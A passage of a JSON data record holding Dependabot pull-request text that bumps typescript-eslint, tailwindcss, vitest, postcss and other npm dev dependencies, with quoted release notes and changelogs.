href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md\"\u003etypescript-eslint's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for typescript-eslint to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/typescript-eslint\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/mbifulco/blog/pull/1287","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mbifulco%2Fblog/issues/1287","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1287/packages"}},{"old_version":"8.5.15","new_version":"8.5.19","update_type":"patch","path":null,"pr_created_at":"2026-07-14T11:31:53.000Z","version_change":"8.5.15 → 8.5.19","issue":{"uuid":"4882622540","node_id":"PR_kwDOSLwOTM7xhRl5","number":912,"state":"open","title":"build(deps-dev): bump the dev-dependencies group across 1 directory with 9 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-14T11:31:53.000Z","updated_at":"2026-07-14T11:35:39.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps-dev): bump","group_name":"dev-dependencies","update_count":9,"packages":[{"name":"@tailwindcss/postcss","old_version":"4.3.0","new_version":"4.3.2","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@vitejs/plugin-react","old_version":"6.0.2","new_version":"6.0.3","repository_url":"https://github.com/vitejs/vite-plugin-react"},{"name":"@vitest/browser-playwright","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"@vitest/coverage-v8","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"esbuild","old_version":"0.28.0","new_version":"0.28.1","repository_url":"https://github.com/evanw/esbuild"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"postcss-selector-parser","old_version":"7.1.1","new_version":"7.1.4","repository_url":"https://github.com/postcss/postcss-selector-parser"},{"name":"vitest","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"autoprefixer","old_version":"10.5.0","new_version":"10.5.2","repository_url":"https://github.com/postcss/autoprefixer"}],"path":null,"ecosystem":"npm"},"body":"Bumps the dev-dependencies group with 9 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@tailwindcss/postcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss) | `4.3.0` | `4.3.2` |\n| [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react) | `6.0.2` | `6.0.3` |\n| [@vitest/browser-playwright](https://github.com/vitest-dev/vitest/tree/HEAD/packages/browser-playwright) | `4.1.8` | `4.1.10` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `4.1.8` | `4.1.10` |\n| [esbuild](https://github.com/evanw/esbuild) | `0.28.0` | `0.28.1` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.19` |\n| [postcss-selector-parser](https://github.com/postcss/postcss-selector-parser) | `7.1.1` | `7.1.4` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.8` | `4.1.10` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.0` | `10.5.2` |\n\n\nUpdates `@tailwindcss/postcss` from 4.3.0 to 4.3.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/releases\"\u003e@​tailwindcss/postcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.3.2\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport bare spacing values for \u003ccode\u003eauto-rows-*\u003c/code\u003e and \u003ccode\u003eauto-cols-*\u003c/code\u003e utilities (e.g. \u003ccode\u003eauto-rows-12\u003c/code\u003e and \u003ccode\u003eauto-cols-16\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20229\"\u003e#20229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode from crashing on Windows when \u003ccode\u003e@source\u003c/code\u003e points to a directory that doesn't exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20242\"\u003e#20242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing in Deno v2.8.x when \u003ccode\u003econtext.parentURL\u003c/code\u003e is not a valid URL (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20245\"\u003e#20245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode rebuilds when the input CSS file changes in an ignored directory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20246\"\u003e#20246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e rules used in \u003ccode\u003eaddBase(…)\u003c/code\u003e to use custom variants defined later (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20247\"\u003e#20247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing during HMR when scanned files or directories are deleted (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20259\"\u003e#20259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGenerate \u003ccode\u003efont-size\u003c/code\u003e instead of \u003ccode\u003ecolor\u003c/code\u003e declarations for \u003ccode\u003etext-[--spacing(…)]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20260\"\u003e#20260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@source\u003c/code\u003e patterns from scanning unrelated sibling files and folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20263\"\u003e#20263\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates adjacent to Template Toolkit delimiters like \u003ccode\u003e%]…[%\u003c/code\u003e in \u003ccode\u003e.tt\u003c/code\u003e, \u003ccode\u003e.tt2\u003c/code\u003e, and \u003ccode\u003e.tx\u003c/code\u003e files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates from conditional Maud syntax like \u003ccode\u003ep.text-black[condition]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@position-try\u003c/code\u003e rules from triggering unknown at-rule warnings when optimizing CSS (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20277\"\u003e#20277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport class suggestions for named opacity modifiers from \u003ccode\u003e--opacity\u003c/code\u003e theme values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20287\"\u003e#20287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent type errors in \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e when used with newer PostCSS patch releases (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20289\"\u003e#20289\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev4.3.1\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e--silent\u003c/code\u003e option to suppress output in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20100\"\u003e#20100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove deprecation warnings by using \u003ccode\u003eModule#registerHooks\u003c/code\u003e instead of \u003ccode\u003eModule#register\u003c/code\u003e on Node 26+ (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20028\"\u003e#20028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't crash when plugin utilities throw for unsupported values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20052\"\u003e#20052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@apply\u003c/code\u003e to be used with CSS mixins (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19427\"\u003e#19427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003enot-*\u003c/code\u003e correctly negates \u003ccode\u003e@container\u003c/code\u003e queries, including \u003ccode\u003estyle(…)\u003c/code\u003e queries (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20059\"\u003e#20059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003edrop-shadow-*\u003c/code\u003e color utilities work with custom shadow values containing \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20080\"\u003e#20080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix 'Sourcemap is likely to be incorrect' warnings when using \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20103\"\u003e#20103\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/webpack\u003c/code\u003e can be installed in Rspack projects without requiring \u003ccode\u003ewebpack\u003c/code\u003e as a peer dependency (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20027\"\u003e#20027\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't suggest invalid \u003ccode\u003ecalc(…)\u003c/code\u003e expressions (e.g. \u003ccode\u003epx-[calc(1rem+0px)]\u003c/code\u003e → \u003ccode\u003epx-[calc(1rem+0)]\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20127\"\u003e#20127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: avoid suggesting large spacing-scale values for arbitrary lengths (e.g. \u003ccode\u003eleft-[99999px]\u003c/code\u003e → \u003ccode\u003eleft-[99999px]\u003c/code\u003e, not \u003ccode\u003eleft-24999.75\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20130\"\u003e#20130\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode recovers when a tracked dependency is deleted and restored (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20137\"\u003e#20137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure standalone \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e binaries are ignored when scanning for class candidates (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20139\"\u003e#20139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure class candidates are extracted from Twig \u003ccode\u003eaddClass(…)\u003c/code\u003e and \u003ccode\u003eremoveClass(…)\u003c/code\u003e calls (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20198\"\u003e#20198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDon't crash in the Ruby or Vue preprocessors when scanning files containing invalid UTF-8 bytes (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19588\"\u003e#19588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e to be used inside \u003ccode\u003eaddBase\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19480\"\u003e#19480\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@source\u003c/code\u003e globs with symlinks are preserved (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20203\"\u003e#20203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure later \u003ccode\u003e@source\u003c/code\u003e rules can re-include files excluded by earlier \u003ccode\u003e@source not\u003c/code\u003e rules (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20203\"\u003e#20203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpgrade: don't migrate empty class rules to invalid \u003ccode\u003e@utility\u003c/code\u003e rules (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20205\"\u003e#20205\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure transitions between \u003ccode\u003einset-shadow-none\u003c/code\u003e and other inset shadows work correctly (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20208\"\u003e#20208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure explicitly referenced \u003ccode\u003e@source\u003c/code\u003e directories are scanned even when ignored by git (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20214\"\u003e#20214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@source\u003c/code\u003e globs ending in \u003ccode\u003e**/*\u003c/code\u003e preserve dynamic path segments to avoid scanning too many files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20217\"\u003e#20217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't fold \u003ccode\u003ecalc(…)\u003c/code\u003e divisions when the result would require high precision (e.g. \u003ccode\u003ew-[calc(100%/3.5)]\u003c/code\u003e → \u003ccode\u003ew-[calc(100%/3.5)]\u003c/code\u003e, not \u003ccode\u003ew-[28.571428571428573%]\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20221\"\u003e#20221\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eServe ESM type declarations to ESM importers of \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20228\"\u003e#20228\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eGenerate \u003ccode\u003e0\u003c/code\u003e instead of \u003ccode\u003ecalc(var(--spacing) * 0)\u003c/code\u003e for spacing utilities like \u003ccode\u003em-0\u003c/code\u003e and \u003ccode\u003eleft-0\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20196\"\u003e#20196\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/tailwindlabs/tailwindcss/blob/main/CHANGELOG.md\"\u003e@​tailwindcss/postcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[4.3.2] - 2026-06-26\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSupport bare spacing values for \u003ccode\u003eauto-rows-*\u003c/code\u003e and \u003ccode\u003eauto-cols-*\u003c/code\u003e utilities (e.g. \u003ccode\u003eauto-rows-12\u003c/code\u003e and \u003ccode\u003eauto-cols-16\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20229\"\u003e#20229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode from crashing on Windows when \u003ccode\u003e@source\u003c/code\u003e points to a directory that doesn't exist (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20242\"\u003e#20242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing in Deno v2.8.x when \u003ccode\u003econtext.parentURL\u003c/code\u003e is not a valid URL (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20245\"\u003e#20245\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode rebuilds when the input CSS file changes in an ignored directory (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20246\"\u003e#20246\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e rules used in \u003ccode\u003eaddBase(…)\u003c/code\u003e to use custom variants defined later (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20247\"\u003e#20247\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e from crashing during HMR when scanned files or directories are deleted (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20259\"\u003e#20259\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGenerate \u003ccode\u003efont-size\u003c/code\u003e instead of \u003ccode\u003ecolor\u003c/code\u003e declarations for \u003ccode\u003etext-[--spacing(…)]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20260\"\u003e#20260\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@source\u003c/code\u003e patterns from scanning unrelated sibling files and folders (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20263\"\u003e#20263\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates adjacent to Template Toolkit delimiters like \u003ccode\u003e%]…[%\u003c/code\u003e in \u003ccode\u003e.tt\u003c/code\u003e, \u003ccode\u003e.tt2\u003c/code\u003e, and \u003ccode\u003e.tx\u003c/code\u003e files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract class candidates from conditional Maud syntax like \u003ccode\u003ep.text-black[condition]\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20269\"\u003e#20269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent \u003ccode\u003e@position-try\u003c/code\u003e rules from triggering unknown at-rule warnings when optimizing CSS (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20277\"\u003e#20277\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport class suggestions for named opacity modifiers from \u003ccode\u003e--opacity\u003c/code\u003e theme values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20287\"\u003e#20287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePrevent type errors in \u003ccode\u003e@tailwindcss/postcss\u003c/code\u003e when used with newer PostCSS patch releases (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20289\"\u003e#20289\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[4.3.1] - 2026-06-12\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003e--silent\u003c/code\u003e option to suppress output in \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20100\"\u003e#20100\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemove deprecation warnings by using \u003ccode\u003eModule#registerHooks\u003c/code\u003e instead of \u003ccode\u003eModule#register\u003c/code\u003e on Node 26+ (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20028\"\u003e#20028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't crash when plugin utilities throw for unsupported values (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20052\"\u003e#20052\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@apply\u003c/code\u003e to be used with CSS mixins (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19427\"\u003e#19427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003enot-*\u003c/code\u003e correctly negates \u003ccode\u003e@container\u003c/code\u003e queries, including \u003ccode\u003estyle(…)\u003c/code\u003e queries (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20059\"\u003e#20059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003edrop-shadow-*\u003c/code\u003e color utilities work with custom shadow values containing \u003ccode\u003ecalc(…)\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20080\"\u003e#20080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix 'Sourcemap is likely to be incorrect' warnings when using \u003ccode\u003e@tailwindcss/vite\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20103\"\u003e#20103\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/webpack\u003c/code\u003e can be installed in Rspack projects without requiring \u003ccode\u003ewebpack\u003c/code\u003e as a peer dependency (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20027\"\u003e#20027\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't suggest invalid \u003ccode\u003ecalc(…)\u003c/code\u003e expressions (e.g. \u003ccode\u003epx-[calc(1rem+0px)]\u003c/code\u003e → \u003ccode\u003epx-[calc(1rem+0)]\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20127\"\u003e#20127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: avoid suggesting large spacing-scale values for arbitrary lengths (e.g. \u003ccode\u003eleft-[99999px]\u003c/code\u003e → \u003ccode\u003eleft-[99999px]\u003c/code\u003e, not \u003ccode\u003eleft-24999.75\u003c/code\u003e) (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20130\"\u003e#20130\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e in \u003ccode\u003e--watch\u003c/code\u003e mode recovers when a tracked dependency is deleted and restored (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20137\"\u003e#20137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure standalone \u003ccode\u003e@tailwindcss/cli\u003c/code\u003e binaries are ignored when scanning for class candidates (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20139\"\u003e#20139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure class candidates are extracted from Twig \u003ccode\u003eaddClass(…)\u003c/code\u003e and \u003ccode\u003eremoveClass(…)\u003c/code\u003e calls (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20198\"\u003e#20198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDon't crash in the Ruby or Vue preprocessors when scanning files containing invalid UTF-8 bytes (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19588\"\u003e#19588\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow \u003ccode\u003e@variant\u003c/code\u003e to be used inside \u003ccode\u003eaddBase\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/19480\"\u003e#19480\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@source\u003c/code\u003e globs with symlinks are preserved (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20203\"\u003e#20203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure later \u003ccode\u003e@source\u003c/code\u003e rules can re-include files excluded by earlier \u003ccode\u003e@source not\u003c/code\u003e rules (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20203\"\u003e#20203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpgrade: don't migrate empty class rules to invalid \u003ccode\u003e@utility\u003c/code\u003e rules (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20205\"\u003e#20205\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure transitions between \u003ccode\u003einset-shadow-none\u003c/code\u003e and other inset shadows work correctly (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20208\"\u003e#20208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure explicitly referenced \u003ccode\u003e@source\u003c/code\u003e directories are scanned even when ignored by git (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20214\"\u003e#20214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003e@source\u003c/code\u003e globs ending in \u003ccode\u003e**/*\u003c/code\u003e preserve dynamic path segments to avoid scanning too many files (\u003ca href=\"https://redirect.github.com/tailwindlabs/tailwindcss/pull/20217\"\u003e#20217\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCanonicalization: don't fold \u003ccode\u003ecalc(…)\u003c/code\u003e divisions when the result would require high precision (e.g. \u003ccode\u003ew-[calc(100%/3.5)]\u003c/code\u003e → \u003ccode\u003ew-[calc(100%/3.5)]\u003c/code\u003e, not \u003ccode\u003ew-[28.571428571428573%]\u003c/code\u003e) (\u003ca 